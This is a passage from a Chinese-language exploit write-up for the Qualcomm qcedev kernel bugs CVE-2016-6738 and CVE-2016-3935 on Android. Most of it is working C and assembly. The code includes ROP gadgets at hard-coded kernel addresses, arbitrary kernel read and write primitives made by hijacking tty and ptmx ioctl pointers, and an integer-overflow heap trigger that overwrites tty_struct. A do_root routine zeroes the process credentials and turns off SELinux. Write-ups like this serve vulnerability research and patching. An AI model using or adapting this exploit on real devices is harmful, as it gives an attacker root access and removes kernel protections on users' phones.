此后,对 ptmx 设备的内核fops函数执行,都会被重定向到用户层伪造的函数,我们通过一些rop 片段来实现伪函数,就可以被内核直接调用。
/*
* rop write:
* ffffffc000671a58: b9000041 str w1, [x2]
* ffffffc000671a5c: d65f03c0 ret
*/
#define ROP_WRITE 0xffffffc000671a58
比如,我们找到一段 rop 如上,其地址是 0xffffffc000671a58, 其指令是 str w1, [x2] ; ret ;
这段 rop 作为一个函数去执行的话,其效果相当于将第二个参数的值写入第三个参数指向的地址。
我们用这段 rop 构造一个用户态函数,如下
static int kernel_write_32(unsigned long addr, unsigned int val)
{
unsigned long arg;
*(unsigned long*)(fake_ptmx_fops + 9 * 8) = ROP_WRITE;
arg = addr;
ioctl_syscall(__NR_ioctl, ptmx_fd, val, arg);
return 0;
}
9*8 是 ioctl 函数在 file_operations 结构体里的偏移,
*(unsigned long*)(fake_ptmx_fops + 9 * 8) = ROP_WRITE;
的效果就是 ioctl 的函数实现替换成 ROP_WRITE, 这样我们调用 ptmx 的 ioctl 函数时,最后真实执行的是 ROP_WRITE, 这就是一个内核任意地址写任意值函数。
同样的原理,我们封装读任意内核地址的函数。
有了任意内核地址读写函数之后,我们通过以下方法完成最终提权:
static int do_root(void)
{
int ret;
unsigned long i, cred, addr;
unsigned int tmp0;
/* search myself */
ret = get_task_by_comm(&my_task);
if(ret != 0) {
printf("[-] get myself fail!n");
return -1;
}
if(!my_task || (my_task < 0xffffffc000000000)) {
printf("invalid task address!");
return -2;
}
ret = kernel_read(my_task + cred_offset, &cred);
if (cred < KERNEL_BASE) return -3;
i = 1;
addr = cred + 4 * 4;
ret = kernel_read_32(addr, &tmp0);
if(tmp0 == 0x43736564 || tmp0 == 0x44656144)
i += 4;
addr = cred + (i+0) * 4;
ret = kernel_write_32(addr, 0);
addr = cred + (i+1) * 4;
ret = kernel_write_32(addr, 0);
...
ret = kernel_write_32(addr, 0xffffffff);
addr = cred + (i+16) * 4;
ret = kernel_write_32(addr, 0xffffffff);
/* success! */
// disable SELinux
kernel_write_32(SELINUX_ENFORCING, 0);
return 0;
}
搜索到本进程的 cred 结构体,并使用我们封装的内核读写函数,将其成员的值改为0,这样本进程就变成了 root 进程。
搜索本进程 task_struct 的函数 get_task_by_comm 具体实现参考 github 的代码。
CVE-2016-3935 漏洞利用
这个漏洞的提权方法跟 6738 是一样的,唯一不同的地方是,这是一个堆溢出漏洞,我们只能覆盖堆里边的 fops (cve-2016-6738 我们覆盖的是 .data 区里的 fops )。
在我测试的版本里,k_buf_src 是从 kmalloc-4096 分配出来的,因此,需要找到合适的结构来填充 kmalloc-4096 ,经过一些源码搜索,我找到了 tty_struct 这个结构
include/linux/tty.h
struct tty_struct {
int magic;
struct kref kref;
struct device *dev;
struct tty_driver *driver;
const struct tty_operations *ops;
int index;
...
}
在我做利用的设备里,这个结构是从 kmalloc-4096 堆里分配的,其偏移 24Byte 的地方是一个struct tty_operations的指针,我们溢出后重写这个结构体,用一个用户态地址覆盖这个指针。
#define TTY_MAGIC 0x5401
void trigger(int fd)
{
#define SIZE 632 // SIZE = sizeof(struct tty_struct)
int ret, cmd, i;
struct qcedev_sha_op_req params;
int *magic;
unsigned long * ttydriver;
unsigned long * ttyops;
memset(¶ms, 0, sizeof(params));
params.entries = 9;
params.data_len = SIZE;
params.authklen = 16;
params.authkey = &trigger_buf[0];
params.alg = QCEDEV_ALG_AES_CMAC;
// when tty_struct coming from kmalloc-4096
magic =(int *) &trigger_buf[4096];
*magic = TTY_MAGIC;
ttydriver = (unsigned long*)&trigger_buf[4112];
*ttydriver = &trigger_buf[0];
ttyops = (unsigned long*)&trigger_buf[4120];
*ttyops = fake_ptm_fops;
params.data[0].len = 4128;
params.data[0].vaddr = &trigger_buf[0];
params.data[1].len = 536867423 ;
params.data[1].vaddr = NULL;
for (i = 2; i < params.entries; i++) {
params.data[i].len = 0x1fffffff;
params.data[i].vaddr = NULL;
}
cmd = QCEDEV_IOCTL_SHA_UPDATE_REQ;
ret = ioctl(fd, cmd, ¶ms);
if(ret<0) {
printf("[-] ioctl fail %sn",strerror(errno));
return;
}
printf("[+] succ triggern");
}
4128 + 536867423 + 7 * 0x1fffffff = 632
溢出的方法如上,我们让 entry 的数目为 9 个,第一个长度为 4128, 第二个为 536867423, 其他7个为0x1fffffff
这样他们加起来溢出之后的值就是 632, 这个长度刚好是 struct tty_struct 的长度,我们用 qcedev_sha_op_req.data[0].vaddr[4096]这个数据来填充被溢出的 tty_struct 的内容
主要是填充两个地方,一个是最开头的 tty magic, 另一个就是偏移 24Bype 的 tty_operations 指针,我们将这个指针覆盖为伪指针 fake_ptm_fops.
之后的提权操作与 cve-2016-6738 类似,
include/linux/tty_driver.h
struct tty_operations {
struct tty_struct * (*lookup)(struct tty_driver *driver,
struct inode *inode, int idx);
int (*install)(struct tty_driver *driver, struct tty_struct *tty);
void (*remove)(struct tty_driver *driver, struct tty_struct *tty);
int (*open)(struct tty_struct * tty, struct file * filp);
void (*close)(struct tty_struct * tty, struct file * filp);
void (*shutdown)(struct tty_struct *tty);
void (*cleanup)(struct tty_struct *tty);
int (*write)(struct tty_struct * tty,
const unsigned char *buf, int count);
int (*put_char)(struct tty_struct *tty, unsigned char ch);
void (*flush_chars)(struct tty_struct *tty);
int (*write_room)(struct tty_struct *tty);
int (*chars_in_buffer)(struct tty_struct *tty);
int (*ioctl)(struct tty_struct *tty,
unsigned int cmd, unsigned long arg);
long (*compat_ioctl)(struct tty_struct *tty,
unsigned int cmd, unsigned long arg);
...
}
如上,ioctl 函数在 tty_operations 结构体里偏移 12 个指针,当我们用 ROP_WRITE 覆盖这个位置时,可以得到一个内核地址写函数。
#define ioctl_syscall(n, efd, cmd, arg)
eabi_syscall(n, efd, cmd, arg)
ENTRY(eabi_syscall)
mov x8, x0
mov x0, x1
mov x1, x2
mov x2, x3
mov x3, x4
mov x4, x5
mov x5, x6
svc #0x0
ret
END(eabi_syscall)
/*
* rop write
* ffffffc000671a58: b9000041 str w1, [x2]
* ffffffc000671a5c: d65f03c0 ret
*/
#define ROP_WRITE 0xffffffc000671a58
static int kernel_write_32(unsigned long addr, unsigned int val)
{
unsigned long arg;
*(unsigned long*)(fake_ptm_fops + 12 * 8) = ROP_WRITE;
arg = addr;
ioctl_syscall(__NR_ioctl, fake_fd, val, arg);
return 0;
}
同理,当我们用 ROP_READ 覆盖这个位置时,可以得到一个内核地址写函数。
/*
* rop read
* ffffffc000300060: f9405440 ldr x0, [x2,#168]
* ffffffc000300064: d65f03c0 ret
*/
#define ROP_READ 0xffffffc000300060
static int kernel_read_32(unsigned long addr, unsigned int *val)
{
int ret;
unsigned long arg;
*(unsigned long*)(fake_ptm_fops + 12 * 8) = ROP_READ;
arg = addr - 168;
errno = 0;
ret = ioctl_syscall(__NR_ioctl, fake_fd, 0xdeadbeef, arg);
*val = ret;
return 0;
}
最后,用封装好的内核读写函数,修改内核的 cred 等结构体完成提权
参考